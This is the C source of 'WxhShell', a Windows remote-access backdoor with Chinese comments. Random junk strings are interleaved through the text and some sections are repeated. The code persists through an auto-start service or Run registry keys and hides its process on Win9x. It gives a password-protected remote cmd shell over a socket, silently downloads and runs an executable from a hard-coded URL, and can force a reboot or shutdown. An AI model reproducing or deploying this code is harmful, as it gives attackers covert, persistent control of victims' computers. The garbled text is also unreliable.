< 90Jxn'>^ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `LEk/b1(P static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %o.{h GL(R9Y HANDLE hProcess; c{ +Y$ PROCESS_BASIC_INFORMATION pbi; i$?i1z*c} XTXRC$B HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); q{[}*% if(NULL == hInst ) return 0; ?r"m*fY% V+W,#5 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1b-4wonQd g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %AF~Ki NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &JVe-. C(Yk-7 if (!NtQueryInformationProcess) return 0; K!lGo3n] A=Q"IdK hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); / 9/=] if(!hProcess) return 0; 3&/5!zOg) @D[jUC$E if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t.v@\[{- S6*3."Sk CloseHandle(hProcess); W1w)SS oQBfDD0 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f5IO<(:E^ if(hProcess==NULL) return 0; 5#!pwjt~7 !E'jd72O HMODULE hMod; >}\!'3)_ char procName[255]; 5Y"JRWC unsigned long cbNeeded; hp/}Z"A= !ANv XPp if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); & ;ie+/B q*SX.A>YR CloseHandle(hProcess); ,ic.b
@u1 L0/0<d(K if(strstr(procName,"services")) return 1; // 以服务启动 s_yY,Z: }Gqx2 )H return 0; // 注册表启动 }b~;x6 } MW=2GhD= Ji\8(7
{8 // 主模块 \h~;n)FI int StartWxhshell(LPSTR lpCmdLine) Ratg!l|'- { 8j. 9Sk/ SOCKET wsl; 8sOM%y9M BOOL val=TRUE; ?_3K]i1IS int port=0; 40<ifz[7 struct sockaddr_in door; /0>Cy\eN0 MoIVval/ if(wscfg.ws_autoins) Install(); P ^R224R oC#@9>+@+" port=atoi(lpCmdLine); 9s5gi+l_O B8NOPbT if(port<=0) port=wscfg.ws_port; #G:~6^A i:0~% X WSADATA data; bEfxu;Su3 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; UxzZr%>s w8:~LX.n if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 1tHTjEG4^3 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8QV+DDZx door.sin_family = AF_INET; M$d DExd~ door.sin_addr.s_addr = inet_addr("127.0.0.1"); KGS=(z door.sin_port = htons(port); qiV#T+\ 7Q7z6p/\v if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZY-W~p1:G closesocket(wsl); ,~w)~fMb8 return 1; x3xBl_t } *q{/`Z{wy 9]r6V
if(listen(wsl,2) == INVALID_SOCKET) { ZMQSy7 closesocket(wsl); DJr{;t$7~ return 1; {wiw]@c8 } !U>711$ Wxhshell(wsl); @5K/z<p% WSACleanup(); /PN[g~3 id8a#&t] return 0; nyD(G=Q5 BY.'0,H=k } I:Wrwd
(0g@Z`r // 以NT服务方式启动 QXqBb$AXi, VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ";AM3 { PXz,[<ET?# DWORD status = 0; lPFT)>(+@ DWORD specificError = 0xfffffff; YIGQDj@ Rb\M63q serviceStatus.dwServiceType = SERVICE_WIN32; h1} x2 serviceStatus.dwCurrentState = SERVICE_START_PENDING; >y#<WB$i serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8*V^DM3n- serviceStatus.dwWin32ExitCode = 0; Jf{6'Ub serviceStatus.dwServiceSpecificExitCode = 0; rwGY )9| serviceStatus.dwCheckPoint = 0; 73OFFKbsk serviceStatus.dwWaitHint = 0; 8Ih+^Y
a Rm`_0}5 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N|Mzj|i. if (hServiceStatusHandle==0) return; HWG5Ghu8,) )<-\ F%&b status = GetLastError(); Eqj&SA if (status!=NO_ERROR) /DA'p [, { 6 6WAD$8$ serviceStatus.dwCurrentState = SERVICE_STOPPED; L l\y2oJ serviceStatus.dwCheckPoint = 0; U@yn%k9 serviceStatus.dwWaitHint = 0; [GJ_]w^}j serviceStatus.dwWin32ExitCode = status; #)QR^ss)iw serviceStatus.dwServiceSpecificExitCode = specificError; yyb8ll?@a SetServiceStatus(hServiceStatusHandle, &serviceStatus); NCbn<ojb return; %GQPiWu } nm2bBX,fh ?a+>%uWt serviceStatus.dwCurrentState = SERVICE_RUNNING; UM%]A'h2O" serviceStatus.dwCheckPoint = 0; $e1==@
R serviceStatus.dwWaitHint = 0; a[bu{Z]% if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 42kr&UY& } |{udd~oE& gZF-zhnC // 处理NT服务事件,比如:启动、停止 GZ(
W64 VOID WINAPI NTServiceHandler(DWORD fdwControl) 8%q:lI { CqOvVv switch(fdwControl) ^=Q/H { B%QvFxZz case SERVICE_CONTROL_STOP: H5j6$y|I|N serviceStatus.dwWin32ExitCode = 0; E
Mq P serviceStatus.dwCurrentState = SERVICE_STOPPED; b"n0Yk1 serviceStatus.dwCheckPoint = 0; H`|8x4 serviceStatus.dwWaitHint = 0; {Hg.ctam { i_8v >F SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q{1Q w'+@ } NK.] yw' return; \7o&'zEw case SERVICE_CONTROL_PAUSE: 9}LcJ serviceStatus.dwCurrentState = SERVICE_PAUSED; {?yZdL:m) break; L q<# case SERVICE_CONTROL_CONTINUE: Ib3n%AG serviceStatus.dwCurrentState = SERVICE_RUNNING; 1S
.~Vh0Q, break; T9N][5 \ case SERVICE_CONTROL_INTERROGATE: yXyL,R break; Wv!#B$J~U }; [S;ceORx SetServiceStatus(hServiceStatusHandle, &serviceStatus); w ;+x g } 1'ts>6b +Q pgG4h // 标准应用程序主函数 n?'I&0>M int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1 ~fD: { y}Ji( q~ ahQdBoj // 获取操作系统版本 IJ >qs8 OsIsNt=GetOsVer(); R"%zmA@o= GetModuleFileName(NULL,ExeFile,MAX_PATH); NH+?7rf8 L|O[u^ // 从命令行安装 x{y}pH "H if(strpbrk(lpCmdLine,"iI")) Install(); !c+,OU[ EY'kIVk // 下载执行文件 lr[U6CJY if(wscfg.ws_downexe) { H8@1Kt if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) x-J.*X/aB WinExec(wscfg.ws_filenam,SW_HIDE); !0i6:2nw } i [,9hp } o^VEJc`O if(!OsIsNt) { KU:RS+,e; // 如果时win9x,隐藏进程并且设置为注册表启动 mN+
w, HideProc(); TKJs'%Q7F6 StartWxhshell(lpCmdLine); IqEE.XhaK } zpi
Q ;P else x -CTMKX if(StartFromService()) fL-lx-~ // 以服务方式启动 pK/r{/>r StartServiceCtrlDispatcher(DispatchTable); oihn`DY{ else iF0x>pvJ@ // 普通方式启动 8x":7 yV& StartWxhshell(lpCmdLine); D XFU~J* !j8.JP}!) return 0; rLP:kP'b } r:rM~`` -lICoRO# K,B qVu C1/qiSHsh =========================================== I$yFCd Xr e3T&KyPm?+ ~1xfE C/ l 1C'<+2j! pf&H !-M o;w5;TkY " 47<fg&T Vc2(R^ #include <stdio.h> 0Ncx':]5 #include <string.h> 3:H[S_q #include <windows.h> Ui:WbH<b{ #include <winsock2.h> {Sl#z}@s #include <winsvc.h> ,#/%Fn%T #include <urlmon.h> $G UCVxs 10gh4,z[ #pragma comment (lib, "Ws2_32.lib") 1:Sq?=& #pragma comment (lib, "urlmon.lib") dUvgFOy|P G+5_I"`W #define MAX_USER 100 // 最大客户端连接数 As}3VBd #define BUF_SOCK 200 // sock buffer ?ZF~U #define KEY_BUFF 255 // 输入 buffer Chso]N.1 `eo$o! #define REBOOT 0 // 重启 r$Gz #define SHUTDOWN 1 // 关机 ,_wpYTl*X .<fn+] #define DEF_PORT 5000 // 监听端口 r]+/"~a ?:$aX@r #define REG_LEN 16 // 注册表键长度 '}$]V>/ #define SVC_LEN 80 // NT服务名长度
]S2F9 $l
W
7me // 从dll定义API v.Vdjs typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .
.5s2 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s*;rt typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z=KHsMnB typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \86:f<)P 7M.TLV!f] // wxhshell配置信息 A
)q=.C#e struct WSCFG { qpEK36Js int ws_port; // 监听端口 /s~(? =qYH char ws_passstr[REG_LEN]; // 口令 u-/5&Endb int ws_autoins; // 安装标记, 1=yes 0=no H6. char ws_regname[REG_LEN]; // 注册表键名 L\cbY6b
char ws_svcname[REG_LEN]; // 服务名 !_P-?u char ws_svcdisp[SVC_LEN]; // 服务显示名 \Bvy~UeE)> char ws_svcdesc[SVC_LEN]; // 服务描述信息 /z)H7s+ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 r9
5hW int ws_downexe; // 下载执行标记, 1=yes 0=no .EfGL_ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /:=,mWoO char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .wpp)M.w;H .Ce0yAl~ }; y$,j'B:;4m =".sCV9"N // default Wxhshell configuration Dug{)h_2 struct WSCFG wscfg={DEF_PORT, &=.SbS "xuhuanlingzhe", xRrKrs &eE 1, ^D]y<@01 "Wxhshell", SHA6;y+U/~ "Wxhshell", 6uu49x_^L4 "WxhShell Service", ^1\[hyZ! "Wrsky Windows CmdShell Service", hpBn_ "Please Input Your Password: ", A+QOox]< 1, Io*mFa? "http://www.wrsky.com/wxhshell.exe", o4qB0h "Wxhshell.exe" .-mlV ^ }; 9Od|R"aS| 8mnzxtk // 消息定义模块 9O{b8=\} char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; V9\y*6#Y, char *msg_ws_prompt="\n\r? for help\n\r#>"; D/`b~Yl char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &0Bs?oq_ char *msg_ws_ext="\n\rExit."; )VM'^sV? char *msg_ws_end="\n\rQuit."; Fo;. char *msg_ws_boot="\n\rReboot..."; d%lwg~@&|5 char *msg_ws_poff="\n\rShutdown..."; m`!Vryf char *msg_ws_down="\n\rSave to "; D>6vI s~b!3l`gu char *msg_ws_err="\n\rErr!"; @|;XDO`k; char *msg_ws_ok="\n\rOK!"; rx\f:-3g $=ua$R4Z+ char ExeFile[MAX_PATH]; VthM`~3 int nUser = 0; 8eDKN9kq HANDLE handles[MAX_USER]; d-ML[^G int OsIsNt; 6xW17P KkPr08 SERVICE_STATUS serviceStatus; /zTx+U.\I SERVICE_STATUS_HANDLE hServiceStatusHandle; ,AuejMd /8[T2Z! // 函数声明 xN>+!&3%w int Install(void); |Qz"Z<sNYw int Uninstall(void); ~|R/w%*C int DownloadFile(char *sURL, SOCKET wsh); BnPL>11Y int Boot(int flag); qG8-UOUDt void HideProc(void); '(fCi int GetOsVer(void); Rap =& int Wxhshell(SOCKET wsl); IWNIk9T,u void TalkWithClient(void *cs); V5up/ 6b,1 int CmdShell(SOCKET sock); 3BK_$Fy int StartFromService(void); g7`uWAxZa int StartWxhshell(LPSTR lpCmdLine); W:y'a3~ "*oN~&flc VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 'l41];_ VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;Ebpf J &^JYIRn1\ // 数据结构和表定义 ibxtrt= SERVICE_TABLE_ENTRY DispatchTable[] = yiAusl; { Zoyo:vv& {wscfg.ws_svcname, NTServiceMain}, jx-8%dxtZ {NULL, NULL} N,?D<NjXl }; dY$jg mF@DO$ // 自我安装 9
:FzSD int Install(void) uTIl} N { tg%C>O char svExeFile[MAX_PATH]; 1IeB_t HKEY key; InfUH8./t strcpy(svExeFile,ExeFile); Yvxp( tbq_Rg7s // 如果是win9x系统,修改注册表设为自启动 >YP]IQ if(!OsIsNt) { a^MR"i>@G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gt:Ot0\7 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (IIOVv
1J RegCloseKey(key); =:pN82.G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .,( ,< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J>S`}p RegCloseKey(key); bl-t>aO*.V return 0; ("rIz8b } ~8^)[n+)x } P(XNtQ= K } qkh.?~ else { 0ZpWfL M$AQZ')9 // 如果是NT以上系统,安装为系统服务 ko<VB#pOMr SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); d){Al(/ if (schSCManager!=0) *N?y <U { GcA!I!j/ SC_HANDLE schService = CreateService a&~]77) ( )`gE-udR schSCManager, #^;^_ wscfg.ws_svcname, Q=cbHDB wscfg.ws_svcdisp, WA 79(B SERVICE_ALL_ACCESS, G)wIxm$?0 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _=oNQ SERVICE_AUTO_START, gKay3}w SERVICE_ERROR_NORMAL, `@r#o& svExeFile, zV=(e( [ NULL, h|
+( NULL, K#],4OG NULL, *3W e5 NULL, KqT~MPl NULL n\D3EP<s ); D:Y`{ { if (schService!=0) l5d>
YTK+5 { OJ\rT.{ CloseServiceHandle(schService); TAn.5
wH9t CloseServiceHandle(schSCManager); w=H4#a?fc strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); SsF
5+=A strcat(svExeFile,wscfg.ws_svcname); M[ZuXH} if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mca9 +v RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jw!QjVuRN% RegCloseKey(key); BA+:}81&<q return 0; /,Sd } !saKAb}d7H } v^_<K4N` CloseServiceHandle(schSCManager); 5`3f"(ay/ } .5m^)hi } ^. i;, MB,P#7| return 1; 07dUBoq } PX1Scvi dLek4q
`l // 自我卸载 vDAv/l9 int Uninstall(void) pY9>z;qD { o )
FjWf; HKEY key; _\Cd. y|+ltA K if(!OsIsNt) { Y;eJo if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]Zf@NY RegDeleteValue(key,wscfg.ws_regname); xR,;^R|C RegCloseKey(key); R.)U<`| | if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !jDqRXi( RegDeleteValue(key,wscfg.ws_regname); :`ysq RegCloseKey(key); w5(GRAH return 0; y'k4>,`9e } C4P7, } /fM6%V=Y } &sx|sLw) else { |k4ZTr]? q61
rNOw_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =w.#j-jR if (schSCManager!=0) r4c3t,L*$I { Gr;~P* SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (A*r&Ak[ if (schService!=0) V8xv@G{; { $u4esg if(DeleteService(schService)!=0) { 'c<@SVF{Zz CloseServiceHandle(schService); #:68}f"$ CloseServiceHandle(schSCManager); :;XHA8 return 0; 7=ZB;(`L1 } xUD$i?3z CloseServiceHandle(schService); F*d{< } u[jdYWQa CloseServiceHandle(schSCManager); s geP`O% } <>JDA(F" } >gr6H1 !P!|U/|c return 1; [VPqI~u5) } '}5}wCLA ~^"cq
S( // 从指定url下载文件 HC8{); int DownloadFile(char *sURL, SOCKET wsh) V_(?mC { Iq\sf-1E HRESULT hr; XY|-qd}A char seps[]= "/"; b['TRYc=: char *token; ):+H`Hcm char *file; 79%${ajSI char myURL[MAX_PATH]; " I@Z:[=2 char myFILE[MAX_PATH]; ^U_B>0`ch )vS##-[_ strcpy(myURL,sURL); pKMf#)qm token=strtok(myURL,seps); 7@vcQv
kC while(token!=NULL) *k'9 %'< { @ec QVk file=token; r\[HR ^` token=strtok(NULL,seps); )M]4p6Y } BsB}noN} ?XGZp?6 GetCurrentDirectory(MAX_PATH,myFILE); %p2 C5z? strcat(myFILE, "\\"); aG\m3r strcat(myFILE, file); va;d[D,
send(wsh,myFILE,strlen(myFILE),0); `>8| send(wsh,"...",3,0); n37( sKG hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); kozg8 `\] if(hr==S_OK) Ok6Y'P return 0; M14_w, else &nn.h@zje return 1; %4L|#^7: ;lAz@jr+ } u 3,b,p {djOU
9] // 系统电源模块 df1* [ int Boot(int flag) u(ZS sftat { 1"odkM HANDLE hToken; de1& TOKEN_PRIVILEGES tkp; i}<R>]S SsznV}{^ if(OsIsNt) { mk4%]t" OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jd2Fh):q LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4kg9R^0 tkp.PrivilegeCount = 1; jgbw'BBu tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; JpDYB AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5Cy)#Z{ if(flag==REBOOT) { ]NAPvw#p if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) GN1cnM>` return 0; il-&d]AP }
5Ll[vBW else { LwGcy1F. if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x2ol return 0; }UGPEf\ } J*U(f{Q( } 74Q?%X else { g>im2AD+e if(flag==REBOOT) { o3WkbMJWM if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z^fF^3x return 0; ~hvhT}lE } e-}PJ%!,T else { aYj3a;EmU if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) //+UQgl6 return 0; (`!|
Uf$ } %okEN!= } sa#"@j) ,+X8?9v return 1; c~RIl5j } >M1/m=a
II<<-Y6 // win9x进程隐藏模块 fRa1m?%s void HideProc(void) p[uwG31IL` { J)fS2Ni+ D9LwYftZ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Xj/X. if ( hKernel != NULL ) g(5s{njL { F}01ikXDb' pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); lHGv:TN ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Xj-3C[8@ FreeLibrary(hKernel); \:=Phbn } &e rNVD5o 5;^8wh( return; 84knoC } .M!
(|KE4 d;;=s=j // 获取操作系统版本 )nJ>kbO~8 int GetOsVer(void) @P.l8|w { 2hpx%H OSVERSIONINFO winfo; u\E.H5u27 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 16Xwtn72 GetVersionEx(&winfo); U50X`J if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .Nf*Yqs0 return 1; +'Ge?(E4_ else <K0lS;@K return 0; Sc0ZT/Lm } [MEa@D<7N vv8$u3H // 客户端句柄模块 $o @?D^ int Wxhshell(SOCKET wsl) uVO9r-O8p
{ qe$K6A %Yd SOCKET wsh; { &qBr&kg struct sockaddr_in client; bR6bS7$ DWORD myID; f/c}XCH_h ,f1wN{P while(nUser<MAX_USER) e!-'O0-Kw { {'ZnxK' int nSize=sizeof(client); o&AUB`.9~ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r"Bf@va if(wsh==INVALID_SOCKET) return 1; _xC~44 -12v/an]L7 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); YG8oy!Zl if(handles[nUser]==0) g/@C ESfm' closesocket(wsh); 67g/(4 & else qQ_B[?+W nUser++; =['ijD4TW } UiSc*_N" WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~8X'p6 kU
Flp return 0; ec0vg.>p } ZRHTvxf hB.dqv]^ // 关闭 socket /Yh([P> void CloseIt(SOCKET wsh) Ya. $x~ { u<8Q[_E& closesocket(wsh); &qU[wn:1 nUser--; ~9c9@!RA2 ExitThread(0); aj,ZM,Ad } C[pDPx,#:G Gt%kok // 客户端请求句柄 3edAI&a5 void TalkWithClient(void *cs) Iu[EUi!" { gvJJ.IX]+ 6:!fyia SOCKET wsh=(SOCKET)cs; ZJpI]^9| char pwd[SVC_LEN]; F,zJdJ char cmd[KEY_BUFF]; |<V{$),k char chr[1]; 9mnON~j5 int i,j; |l|]Tw (NQ[AypMI while (nUser < MAX_USER) { e)7)~g54 Lv4=-mWv&0 if(wscfg.ws_passstr) { <(MFEIt if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &zp5do;m //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3u^TJt) //ZeroMemory(pwd,KEY_BUFF); (wfg84 i=0; p\WUk@4 while(i<SVC_LEN) { kT1lOP-Bg VJ"3G;; // 设置超时 ~<%cc+;` fd_set FdRead; U)!AH^{32 struct timeval TimeOut; 8if"U xV( FD_ZERO(&FdRead); F"=MU8 FD_SET(wsh,&FdRead); ,54<U~Lg: TimeOut.tv_sec=8; Wg%-m%7O TimeOut.tv_usec=0; t>fB@xHBB int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8zCAy@u if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3KKe4{oG T42g4j/l~ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); twtDyo(\ pwd=chr[0]; ,fw[ J if(chr[0]==0xd || chr[0]==0xa) { J]0#M:w& pwd=0; 0- UeFy break; h[]N=X } *LRGfk+h i++; ^sKXn:) } 9zyN8v2 *K(xES!b // 如果是非法用户,关闭 socket ttnXEF if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3(:mRb} } v,+@
U6i 0Nu]N)H5<l send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,&=`T7i send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _iu|*h1y rieQ&Jt" while(1) { o zYI/b^ Pb,^UFa= ZeroMemory(cmd,KEY_BUFF); >{S $0D =oME~oB~ // 自动支持客户端 telnet标准 S;'eoqN8 j=0; c)8wO=! while(j<KEY_BUFF) { Ic
K=E]p if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (UZ*36@PJx cmd[j]=chr[0]; u-_$?'l;~ if(chr[0]==0xa || chr[0]==0xd) { 7gwZ9Fob cmd[j]=0; 1l_}O1 break; 4AYc8Z#' } Xoy 1Gi? j++; zq.&Mw? } ]3xa{h~4 dYd~9 // 下载文件 WDdi}i>2 if(strstr(cmd,"http://")) { E/ZJ\@gzD send(wsh,msg_ws_down,strlen(msg_ws_down),0); lF(!(>YZ if(DownloadFile(cmd,wsh)) /wE_eK. send(wsh,msg_ws_err,strlen(msg_ws_err),0); }|Tg_+ else LrMFzd}_O send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -y?Z}5-rs } s
vb4uvY else { s8[9YfuW 4C%>/*%8> switch(cmd[0]) { ^-u HdafP I_G>W3 // 帮助 iyYY)roB case '?': { h50StZ8Yr send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *BsDHq-F~ break; `M ygDG+u } &8_;: // 安装 zD^f%p ["# case 'i': { hPz
df*(8 if(Install()) {*;]I?9Al send(wsh,msg_ws_err,strlen(msg_ws_err),0); C..2y4bA} else 'w[d^L send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $`{q[ { break; Q!X_&ao)O } cWO
)QIE // 卸载 TRLeZ0EC case 'r': { t`T\d\ if(Uninstall()) "g%:#'5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); cqY.^f. else xm|4\H&Bg send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yH%+cmp7 break; N&APqT } {(}w4.! // 显示 wxhshell 所在路径 =t$mbI case 'p': { LGRO En<*d char svExeFile[MAX_PATH]; P0 ltN strcpy(svExeFile,"\n\r"); `B\KS*Gya# strcat(svExeFile,ExeFile); `A'I/Hf5 send(wsh,svExeFile,strlen(svExeFile),0); R}w wC[{ break; Kn#xY3W6 } tH,K\v`f // 重启 rtL9cw5 case 'b': { OF<n T send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W(a'^
#xe if(Boot(REBOOT)) SKSAriS~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); xrVZxK:! else { (U'7Fc closesocket(wsh); 4 uy @ { ExitThread(0); 9Ir~X|}\iL } y-<PsP-I break; B:- KZuO } |369@un6 // 关机 O\?5#. case 'd': { vQYfoam; send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _`@Xy!Ye if(Boot(SHUTDOWN)) &lh_-@Xz send(wsh,msg_ws_err,strlen(msg_ws_err),0); |:=b9kv else { 2x`xyR_Q.R closesocket(wsh); -{8Q= N ExitThread(0); im\YL< } a&s"#j break; H"FflmUO } I"cQ5gF?A // 获取shell 2gL[\/s case 's': { /ik)4]> CmdShell(wsh); jO&f*rxN closesocket(wsh); 9SH<d)^ ExitThread(0); Gp ^ owr break; ;h-G3>Il } Z|:_c // 退出 Og$eQS case 'x': { }`9fZK{. @ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e(n2+S#N CloseIt(wsh); 1Fvv/Tj break; 0$"Q&5Y } Nx4DC // 离开 /R(U>pZ case 'q': { 8g#
Y send(wsh,msg_ws_end,strlen(msg_ws_end),0); v[,v{5b closesocket(wsh); @8M'<tr<z WSACleanup(); tLXn?aNY exit(1); F@_Egi break; ;H
y!0n } 1RI #kti-" } /md Q(Dm } 9Nag%o{*S> cu479VzPx: // 提示信息 Ql#W
/x,e if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1(:b{Bl } MOp=9d+N~ } @dE 3 dS3>q<J*a return; o}mhy`} } e<L 9k}c w~Tq|kU[ // shell模块句柄 ZM-/n> int CmdShell(SOCKET sock) f
$.\o { Gh$y#0qr STARTUPINFO si; [L*[j.r7[ ZeroMemory(&si,sizeof(si)); 3Y1TQ;i,wQ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c<+g|@A# si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zfP[1 PROCESS_INFORMATION ProcessInfo; 4uO
@`0:x char cmdline[]="cmd"; PtRj9TT CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4[5lX C return 0; Sr ztTfY } g/U$!d_ W;OYO // 自身启动模式 Jm]]>K8.3V int StartFromService(void) [.#p { K'iS#i7 typedef struct bG5^h { T.R>xd`9
" DWORD ExitStatus; EBj,pk5M DWORD PebBaseAddress; d739UhKC DWORD AffinityMask; rSF;Lp)} DWORD BasePriority; %67G]?EXB
ULONG UniqueProcessId; r{R[[]p ULONG InheritedFromUniqueProcessId; w!B,kqTG } PROCESS_BASIC_INFORMATION; )T.pjl rnMG0 PROCNTQSIP NtQueryInformationProcess; <<7,kfR r6oX6.c static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; uGuc._}= static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Yn IM- {*M>X}voS HANDLE hProcess; `eMrP` PROCESS_BASIC_INFORMATION pbi; 1BMV=_ tf$PaA HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 12:h49AP if(NULL == hInst ) return 0; [0% yJH NSMjr_ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @b::6n/u g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); OQytgXED NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tAb;/tM3I Njy9 JX if (!NtQueryInformationProcess) return 0; d{iu+=NXz bK_0NrXP hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9D{u,Q V if(!hProcess) return 0; l#2r.q^$| #[k~RYS3 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; eHVdZ'%x r!=]Q}`F 